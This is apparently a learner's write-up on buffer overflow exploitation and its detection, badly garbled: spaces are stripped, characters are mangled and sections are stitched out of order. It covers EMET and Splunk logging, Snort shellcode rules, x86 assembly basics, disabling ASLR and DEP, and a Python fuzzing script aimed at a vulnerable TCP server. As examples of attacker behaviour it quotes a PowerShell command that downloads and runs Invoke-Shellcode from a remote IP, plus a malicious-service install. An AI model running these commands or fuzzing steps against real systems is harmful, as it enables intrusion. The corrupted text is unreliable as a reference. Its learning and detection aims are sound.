object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
